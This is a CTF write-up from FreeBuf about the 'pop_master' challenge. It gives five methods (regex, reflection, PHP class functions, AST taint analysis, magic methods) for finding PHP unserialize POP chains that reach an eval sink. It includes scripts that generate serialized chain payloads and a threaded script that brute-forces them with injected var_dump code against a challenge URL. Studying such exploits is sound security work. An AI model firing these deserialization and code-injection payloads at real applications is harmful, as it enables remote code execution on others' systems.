freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

pop_master的花式解题思路
2021-07-06 14:49:49

0x00 前言

在今年六月份的强网杯中,有一道叫做pop_master的题目。简单描述就是从一万个类中,筛选出可利用的pop链路。在赛前,笔者并未了解过抽象语法树的概念。当时是通过PHP的魔术方法完成了这一个有趣的题目。

作者提供了环境生成器,才有了这篇文章(题目生成器):https://gitee.com/b1ind/pop_master

官方的WP正解为AST抽象语法树以及它的污点分析,题目质量还是相当可以的,至此,笔者想到了多种解题思路,并给大家分享。

0x01 思考方向

笔者在刚拿到这16w行代码也是一脸懵。

近十七万行代码,当然人工审计几乎是不可能的。那么我们的思考方向,大致为下图:

这是我们平时审计的步骤,当然也是编写poc的思路,但是在这道题中,可以看到这样方式的查找,最终的查找结果是一个树形结构。我们始终在进行查找操作,直到查找到eval为止,那么我们可以使用递归的形式来帮助我们查找,但是这里我们又要将每一个类都解析出来才可以这一系列操作,所以这里我们需要借助于正则表达式。

0x02 第*种解法

解法一:传统的正则表达式

使用正则的解法其实是不太符合官方的意愿的,使用正则表达式的方式太过于古老,这里笔者分享一篇文章:https://zhuanlan.zhihu.com/p/260013208

但是我们确确实实可以通过使用正则表达式来解析出每一个类,然后进行递归查找的操作。这种古老的方式我们也记录在内。

这里笔者将类的解析规则定义为下图:

通过function下的键值来进行递归查找,如果function的键值为其他函数名,那么递归去查找,如果function的键值为空数组,那么将它认为eval函数,递归停止,以此类推。编写好的poc1.py如下:

import re, os, time

targetFunction = 'c83OsD'
File = open('class.php', 'r').read()
MyClass = []
AllPop = []
def main():
    ParseClass(File)
    findEval(targetFunction)
    makePoc()
def ParseClass(File):
    global MyClass
    classes = re.findall(r'(class\s(.+?)\{([\S\s]*?)\}\n\n)', File)
    # classes[n][0] 类主要结构  classes[n][1] 类名
    for i in classes:
        classItem = {}
        classItem['className'] = i[1]
        classItem['propertyName'] = re.findall(r'public\s\$(.+?);', i[0])[0]
        functionValue = re.findall(r'(public\sfunction\s(.+?)\(\$(.+?)\)\{(([\S\s]+?);\n\n[\S\s]+?)\})', i[0])
        
        FunctionItem = {}
        for f in functionValue:
            FunctionItem[f[1]] = []
            # classItem['function'].append()
            # f[1] 函数名 f[2] 参数名 f[3] 方法体
            
            this2Func = re.findall(r'([\s\t]\$this->.+?->(.+?)\(.+?\));', f[3])
            if len(this2Func) != 0:
                for t in this2Func:
                    FunctionItem[f[1]].append(t[1])
        classItem['function'] = FunctionItem
        MyClass.append(classItem)
def findEval(startFunc, string = ''):
    global AllPop
    for classItem in MyClass:
        nexts = classItem['function'].get(startFunc)
        if nexts != None:
            if len(nexts) == 0:
                string += classItem['className']
                AllPop.append(string.split('->'))
            for key, nexted in enumerate(nexts):
                if key == 0:
                    string += classItem['className'] + '->'
                findEval(nexted, string)
def makePoc():
    poc = "<?php\n"
    for i in MyClass:
        poc += '''class %s{
    public function __construct($a = 0){
        $this -> %s = $a;
    }
}
'''%(i['className'], i['propertyName'])
    for item in AllPop:
        poc += 'file_put_contents("poc.txt", serialize('
        for clsName in item:
            poc += 'new %s('%(clsName)
        for clsName in item:
            poc += ')'
        poc += ') . "\\r\\n", FILE_APPEND);\n'
    open('poc.php', 'w').write(poc)
    os.popen('php poc.php')
    print('成功生成poc.txt文件,请使用爆破脚本爆破POP链路...')
    time.sleep(2)
    os.remove('poc.php')
if __name__ == '__main__':
    main()

Pop链爆破脚本:

import requests, threading, time

url = 'http://www.myctf.com/popmaster/popmaster/index.php'
fileName = 'poc.txt'
def readFile():
    return open(fileName, 'r').read().split('\n')
def attack(POP):
    Param = '?pop={}&argv=var_dump("aaaaaaaaaaaaaaaaaaaa");//'.format(POP)
    result = requests.get(url + Param).content.decode('utf-8')
    if 'aaaaaaaaaaaaaaaa' in result:
        print('----------------------------------')
        print(POP)
        print('----------------------------------')
if __name__ == '__main__':
    fileData = readFile()
    for POP in fileData:
        threading.Thread(target=attack, args=(POP,)).start()
        time.sleep(0.001)

将题目的class.php放入到当前目录,修改Poc1.py的targetFunction变量,随之执行脚本,再执行爆破脚本,就可以拿到正确结果。

流程动图:

最终也是使用了POP链路爆破的手段,但是深度想一下,其实正则也是可以进行污点分析的,只要我们正则到位,可以匹配到 if, for等消毒语句,并进行一步一步分析块代码就可以了。只是有点繁琐而已。这里笔者也不会去尝试了。

解法二:PHP的反射

在解法一的正则表达式中,我们的初始目的就是为了将类与函数统统获取,然后再梳理他们之间的关系。但是使用正则表达式是消极的,因为我们只是通过语句结构的样式来进行匹配,当语句结构比较复杂时,使用正则表达式可能不太理想。

那么我们获取类与函数为什么不使用反射呢?在反射中,类与函数都已经作为了“块”等待着我们去获取,这里我们可以使用PHP的反射来拿到类的名称,类的属性,类的方法,然后再进行梳理他们之间的关系,也是可以的。

编写PHP代码:

<?php
ini_set('memory_limit','-1'); 
set_time_limit(0);

require './class.php';  # 题目的类文件
$funcName = 'c83OsD';   # 初始查找方法
$classes = get_declared_classes();
$classesInfo = [];
$pop = [];
foreach($classes as $key => $value){
    if($key > 144){     # 设置最初始的键值
        $obj = new ReflectionClass($value);
        $classesInfo[$key]['className'] = $value;
        foreach($obj -> getProperties() as $property){
            $classesInfo[$key]['property'][] = $obj -> getProperties()[0] -> name;
        }
        foreach($obj -> getMethods() as $method){
            
            $funcObj = new ReflectionMethod($value, $method -> name);
            $start = $funcObj->getStartLine() - 1;
            $end =  $funcObj->getEndLine() - 1;
            $filename = $funcObj->getFileName();
            $funcValue = implode("", array_slice(file($filename),$start, $end - $start + 1));
            preg_match_all('/\$this.+->(.+?)\(.*?\);/im', $funcValue, $matches);
            if($matches){
                if(isset($matches[1]) && count($matches[1]) !== 0){
                    foreach($matches[1] as $MethodName){
                        # var_dump($MethodName);
                        $classesInfo[$key]['function'][$method -> name][] = trim($MethodName);
                    }
                }else{
                    $classesInfo[$key]['function'][$method -> name][] = 'Eval_';
                }
            }
        }
        
        
    }
}
function findEval($nowFunc = 'yMLezf', $string = ''){
    global $classesInfo, $pop;
    if(count($classesInfo)){
        foreach($classesInfo as $item){
            if(is_array($item['function'])){
                foreach($item['function'] as $functionName => $functionCall){
                    if($functionName == $nowFunc){
                        foreach($functionCall as $next){
                            if($next == 'Eval_'){
                                $string = $string . $item['className'] . "---{$item['property'][0]}";
                                $pop[] = array_unique(explode('->', $string));
                            }else{
                                $string .= $item['className'] . "---{$item['property'][0]}" . '->';
                                findEval($next, $string);
                            }
                        }
                    }
                }
            }
        }
    }
}
findEval($funcName);
$evalString = "<?php\r\nunlink(__FILE__);\r\n";
foreach($classesInfo as $value){
    $evalString .= <<<EOF
class {$value['className']} {
    public function __construct(\$a = 'a'){
        \$this->{$value['property'][0]} = \$a;
    }
}
EOF;
}
foreach($pop as $pop_){
    $evalString .= "file_put_contents('poc.txt', serialize(";
    foreach($pop_ as $key => $value){
        $classesInfo = explode('---', $value);
        $className = $classesInfo[0];
        $evalString .= <<<EOF
new $className(
EOF;
    }
    foreach($pop_ as $key => $value){
        $evalString .= <<<EOF
)
EOF;
    }
    $evalString .= ") . \"\\r\\n\", FILE_APPEND);\r\n";
}
file_put_contents('./temp.php', $evalString);
echo '<img src="./temp.php">生成poc.txt成功. 请查看poc.txt文件';

因为poc为PHP编写,所以在这里我们需要注意,在nginx需要配置nginx.conf添加如下配置:

fastcgi_connect_timeout 300;

fastcgi_send_timeout 300;

fastcgi_read_timeout 300;

以防止PHP报出500错误。

还有一点我们需要注意的就是POC中的第13行。

笔者这里$key定义为144的原因是,因为我们使用了get_declared_classes()来获得php中已定义的类,随后再使用反射。这里会获得到原生类,所以我们应该找到非原生类的键值,如图:

为了将原生类过滤掉,这里必须要设置一下键值。

流程动图:

由于使用了反射机制,所以该POC脚本执行比较慢,笔者这里等了1-2分钟。

解法三:PHP提供的方法

在PHP中,可以使用get_declared_classes来获取所有的类,使用get_class_vars获取类的成员属性,使用get_class_methods获取类下的所有方法,所以使用PHP提供给我们的方法,也是可以拿到类与函数的结构的,这里笔者就不再重复演示了。

解法四:AST抽象语法树

当然,AST抽象语法树也是官方正解,POC也是使用PHP-Parser来进行编写的,它好在非常轻松的就可以做污点分析,并且我们不需要去梳理类与函数的关系,因为语法树已经保留了类与函数的关系,我们直接在语法树上操作就可以了。

关于AST抽象语法树笔者这里分享两篇文章,讲的非常不错。

https://blog.zsxsoft.com/post/42

http://j0k3r.top/2020/03/24/php-Deobfuscator/#0x02-%E8%A7%A3%E6%B7%B7%E6%B7%86-%EF%BC%88Deobfuscate%EF%BC%89

在自动化审计之前,我们都是使用PHP-Parser来做混淆/解混淆工作。

当然,不能有官方的POC,笔者就偷懒,在这里笔者写了个稍微简单点的POC,它只是分析了赋值语句的问题,因为在题目的最终点,都是一个eval。所以我们做污点分析只需要注意变量的赋值操作就可以了。如图:

以上就是我们需要注意的场景。

代码放到了码云:https://gitee.com/He1huKey/popmaster/blob/master/popmaster.zip

在压缩包下的Part4目录下。

流程动图:

可以看到,与官方生成的pop链是一致的。

解法五:PHP魔术方法

除了我们从第三视角来看这十六万行代码外,我们应该考虑一下让PHP自己本身正向去查找可利用的链路,这里我们依赖于PHP的魔术方法。

这种解法也是笔者第一次解出题目的解法,因为PHP本来就是一个非常灵活的语言,我们应该让它在一万个类中灵活起来。

简单demo举例:

为了可以让A可以自动查找到B,B可以自动查找到C,这里我们需要继承一个父类,然后定义一个__get魔术方法。

可以看到,我们并没有进入到__get方法,__get方法会在“访问不存在的成员属性”的时候所调用。所以我们需要将每一个类的public xx属性给删除掉,我们再次访问。

这样一来我们就可以调用到__get方法了,那么调用到__get方法有什么用呢?

这里我们可以将__get的返回结果定义为$this,什么意思呢?简单描述就是将

$this -> propertyA -> FuncB();

这段代码解释为:

$this -> FuncB();

这样的话反而会调用到本类的__call方法,因为本类根本没有定义FuncB这个类,如图:

这样一来,我们就可以从__call方法中进行查找操作了。如图:

可以从图中看到,成功找到了phpinfo函数,那么编写POC:

import re, sys

classPath = './class.php'   # 复制类文件到这里
def start():
    value = open(classPath, 'r').read()
    pregClass = 'class(.+?)\{'
    pregPublic = 'public \$.+?;'
    pregExists = 'if\(method_exists\(.+?\)\)'
    pregEval = 'eval'
    result = re.sub(pregClass, r'class\1 extends MyClass{', value)
    result = re.sub(pregPublic, '', result)
    result = re.sub(pregExists, '', result)
    result = re.sub(pregEval, 'myfunc', result)
    return result
def myClass(allClass):
    myClass = '''<?php
    class MyClass{
        public function __get($name){
            $this -> funcName = $name;
            $this -> $name = $this;
            return $this -> $name;
        }
        public function __call($funcName, $funcValue){
            $classes = get_declared_classes();
            foreach($classes as $key => $value){
                if(strlen($value) == 6){
                    try{
                        $obj = new $value;
                        if(method_exists($obj, $funcName)){
                            $this -> {$this -> funcName} = $obj;
                            $obj -> $funcName($funcValue[0]);
                        }
                    }catch(Exception $e){
                    }
                }
            }
            unset($this -> {$this -> funcName});
            echo "\\r\\n";
        }
    }
    function myfunc($value){
        if(substr($value, 0, 7) == 'aaaaaaa'){
            echo serialize($GLOBALS['obj']);
            die;
        }
    }
    '''
    return myClass + allClass
if __name__ == '__main__':
    print('请在当前目录下放置 class.php 文件...')
    if len(sys.argv) < 3:
        exit('请传输调用的 类名 与 方法 名')
    AllClass = start()
    PHP = myClass(AllClass.replace('<?php', ''))
    open('myclass.php', 'w').write(PHP)
    IndexPHP = '''<?php
include "myclass.php";
$obj = new %s();
$obj -> %s('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');
'''%(sys.argv[1], sys.argv[2])
    open('myindex.php', 'w').write(IndexPHP)
    print('生成完毕...请执行myindex.php...')

流程动图:

0x03 Ending

整个题目之旅非常有趣,感觉AST这门技术是我们必须要掌握的一门技术,不管从自动化审计方面,还是混淆与解混淆方面,使用AST可以很方便的处理这些东西。

文章中所使用的所有代码:

https://gitee.com/He1huKey/popmaster/blob/master/popmaster.zip

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录